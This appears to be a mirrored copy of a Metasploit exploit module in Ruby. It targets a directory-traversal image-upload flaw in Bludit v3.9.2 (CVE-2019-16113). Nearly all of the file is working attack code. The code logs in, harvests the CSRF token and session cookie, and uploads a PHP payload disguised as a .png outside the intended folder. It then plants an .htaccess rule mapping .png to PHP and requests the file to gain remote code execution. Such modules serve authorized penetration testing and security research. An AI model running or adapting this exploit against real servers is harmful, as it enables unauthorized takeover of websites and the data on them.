CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/bludit_upload_images_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::PhpEXE
11
include Msf::Exploit::FileDropper
12
include Msf::Auxiliary::Report
13
14
def initialize(info={})
15
super(update_info(info,
16
'Name' => "Bludit Directory Traversal Image File Upload Vulnerability",
17
'Description' => %q{
18
This module exploits a vulnerability in Bludit. A remote user could abuse the uuid
19
parameter in the image upload feature in order to save a malicious payload anywhere
20
onto the server, and then use a custom .htaccess file to bypass the file extension
21
check to finally get remote code execution.
22
},
23
'License' => MSF_LICENSE,
24
'Author' =>
25
[
26
'christasa', # Original discovery
27
'sinn3r' # Metasploit module
28
],
29
'References' =>
30
[
31
['CVE', '2019-16113'],
32
['URL', 'https://github.com/bludit/bludit/issues/1081'],
33
['URL', 'https://github.com/bludit/bludit/commit/a9640ff6b5f2c0fa770ad7758daf24fec6fbf3f5#diff-6f5ea518e6fc98fb4c16830bbf9f5dac' ]
34
],
35
'Platform' => 'php',
36
'Arch' => ARCH_PHP,
37
'Notes' =>
38
{
39
'SideEffects' => [ IOC_IN_LOGS ],
40
'Reliability' => [ REPEATABLE_SESSION ],
41
'Stability' => [ CRASH_SAFE ]
42
},
43
'Targets' =>
44
[
45
[ 'Bludit v3.9.2', {} ]
46
],
47
'Privileged' => false,
48
'DisclosureDate' => "2019-09-07",
49
'DefaultTarget' => 0))
50
51
register_options(
52
[
53
OptString.new('TARGETURI', [true, 'The base path for Bludit', '/']),
54
OptString.new('BLUDITUSER', [true, 'The username for Bludit']),
55
OptString.new('BLUDITPASS', [true, 'The password for Bludit'])
56
])
57
end
58
59
class PhpPayload
60
attr_reader :payload
61
attr_reader :name
62
63
def initialize(p)
64
@payload = p
65
@name = "#{Rex::Text.rand_text_alpha(10)}.png"
66
end
67
end
68
69
class LoginBadge
70
attr_reader :username
71
attr_reader :password
72
attr_accessor :csrf_token
73
attr_accessor :bludit_key
74
75
def initialize(user, pass, token, key)
76
@username = user
77
@password = pass
78
@csrf_token = token
79
@bludit_key = key
80
end
81
end
82
83
def check
84
res = send_request_cgi({
85
'method' => 'GET',
86
'uri' => normalize_uri(target_uri.path, 'index.php')
87
})
88
89
unless res
90
vprint_error('Connection timed out')
91
return CheckCode::Unknown
92
end
93
94
html = res.get_html_document
95
generator_tag = html.at('meta[@name="generator"]')
96
unless generator_tag
97
vprint_error('No generator metadata tag found in HTML')
98
return CheckCode::Safe
99
end
100
101
content_attr = generator_tag.attributes['content']
102
unless content_attr
103
vprint_error("No content attribute found in metadata tag")
104
return CheckCode::Safe
105
end
106
107
if content_attr.value == 'Bludit'
108
return CheckCode::Detected
109
end
110
111
CheckCode::Safe
112
end
113
114
def get_uuid(login_badge)
115
print_status('Retrieving UUID...')
116
res = send_request_cgi({
117
'method' => 'GET',
118
'uri' => normalize_uri(target_uri.path, 'admin', 'new-content', 'index.php'),
119
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};"
120
})
121
122
unless res
123
fail_with(Failure::Unknown, 'Connection timed out')
124
end
125
126
html = res.get_html_document
127
uuid_element = html.at('input[@name="uuid"]')
128
unless uuid_element
129
fail_with(Failure::Unknown, 'No UUID found in admin/new-content/')
130
end
131
132
uuid_val = uuid_element.attributes['value']
133
unless uuid_val && uuid_val.respond_to?(:value)
134
fail_with(Failure::Unknown, 'No UUID value')
135
end
136
137
uuid_val.value
138
end
139
140
def upload_file(login_badge, uuid, content, fname)
141
print_status("Uploading #{fname}...")
142
143
data = Rex::MIME::Message.new
144
data.add_part(content, 'image/png', nil, "form-data; name=\"images[]\"; filename=\"#{fname}\"")
145
data.add_part(uuid, nil, nil, 'form-data; name="uuid"')
146
data.add_part(login_badge.csrf_token, nil, nil, 'form-data; name="tokenCSRF"')
147
148
res = send_request_cgi({
149
'method' => 'POST',
150
'uri' => normalize_uri(target_uri.path, 'admin', 'ajax', 'upload-images'),
151
'ctype' => "multipart/form-data; boundary=#{data.bound}",
152
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
153
'headers' => {'X-Requested-With' => 'XMLHttpRequest'},
154
'data' => data.to_s
155
})
156
157
unless res
158
fail_with(Failure::Unknown, 'Connection timed out')
159
end
160
end
161
162
def upload_php_payload_and_exec(login_badge)
163
# From: /var/www/html/bludit/bl-content/uploads/pages/5821e70ef1a8309cb835ccc9cec0fb35/
164
# To: /var/www/html/bludit/bl-content/tmp
165
uuid = get_uuid(login_badge)
166
php_payload = get_php_payload
167
upload_file(login_badge, '../../tmp', php_payload.payload, php_payload.name)
168
169
# On the vuln app, this line occurs first:
170
# Filesystem::mv($_FILES['images']['tmp_name'][$uuid], PATH_TMP.$filename);
171
# Even though there is a file extension check, it won't really stop us
172
# from uploading the .htaccess file.
173
htaccess = <<~HTA
174
RewriteEngine off
175
AddType application/x-httpd-php .png
176
HTA
177
upload_file(login_badge, uuid, htaccess, ".htaccess")
178
register_file_for_cleanup('.htaccess')
179
180
print_status("Executing #{php_payload.name}...")
181
send_request_cgi({
182
'method' => 'GET',
183
'uri' => normalize_uri(target_uri.path, 'bl-content', 'tmp', php_payload.name)
184
})
185
end
186
187
def get_php_payload
188
@php_payload ||= PhpPayload.new(get_write_exec_payload(unlink_self: true))
189
end
190
191
def get_login_badge(res)
192
cookies = res.get_cookies
193
bludit_key = cookies.scan(/BLUDIT\-KEY=(.+);/i).flatten.first || ''
194
195
html = res.get_html_document
196
csrf_element = html.at('input[@name="tokenCSRF"]')
197
unless csrf_element
198
fail_with(Failure::Unknown, 'No tokenCSRF found')
199
end
200
201
csrf_val = csrf_element.attributes['value']
202
unless csrf_val && csrf_val.respond_to?(:value)
203
fail_with(Failure::Unknown, 'No tokenCSRF value')
204
end
205
206
LoginBadge.new(datastore['BLUDITUSER'], datastore['BLUDITPASS'], csrf_val.value, bludit_key)
207
end
208
209
def do_login
210
res = send_request_cgi({
211
'method' => 'GET',
212
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
213
})
214
215
unless res
216
fail_with(Failure::Unknown, 'Connection timed out')
217
end
218
219
login_badge = get_login_badge(res)
220
res = send_request_cgi({
221
'method' => 'POST',
222
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
223
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
224
'vars_post' =>
225
{
226
'tokenCSRF' => login_badge.csrf_token,
227
'username' => login_badge.username,
228
'password' => login_badge.password
229
}
230
})
231
232
unless res
233
fail_with(Failure::Unknown, 'Connection timed out')
234
end
235
236
# A new csrf value is generated, need to update this for the upload
237
if res.headers['Location'].to_s.include?('/admin/dashboard')
238
store_valid_credential(user: login_badge.username, private: login_badge.password)
239
res = send_request_cgi({
240
'method' => 'GET',
241
'uri' => normalize_uri(target_uri.path, 'admin', 'dashboard', 'index.php'),
242
'cookie' => "BLUDIT-KEY=#{login_badge.bludit_key};",
243
})
244
245
unless res
246
fail_with(Failure::Unknown, 'Connection timed out')
247
end
248
249
new_csrf = res.body.scan(/var tokenCSRF = "(.+)";/).flatten.first
250
login_badge.csrf_token = new_csrf if new_csrf
251
return login_badge
252
end
253
254
fail_with(Failure::NoAccess, 'Authentication failed')
255
end
256
257
def exploit
258
login_badge = do_login
259
print_good("Logged in as: #{login_badge.username}")
260
upload_php_payload_and_exec(login_badge)
261
end
262
end
263
264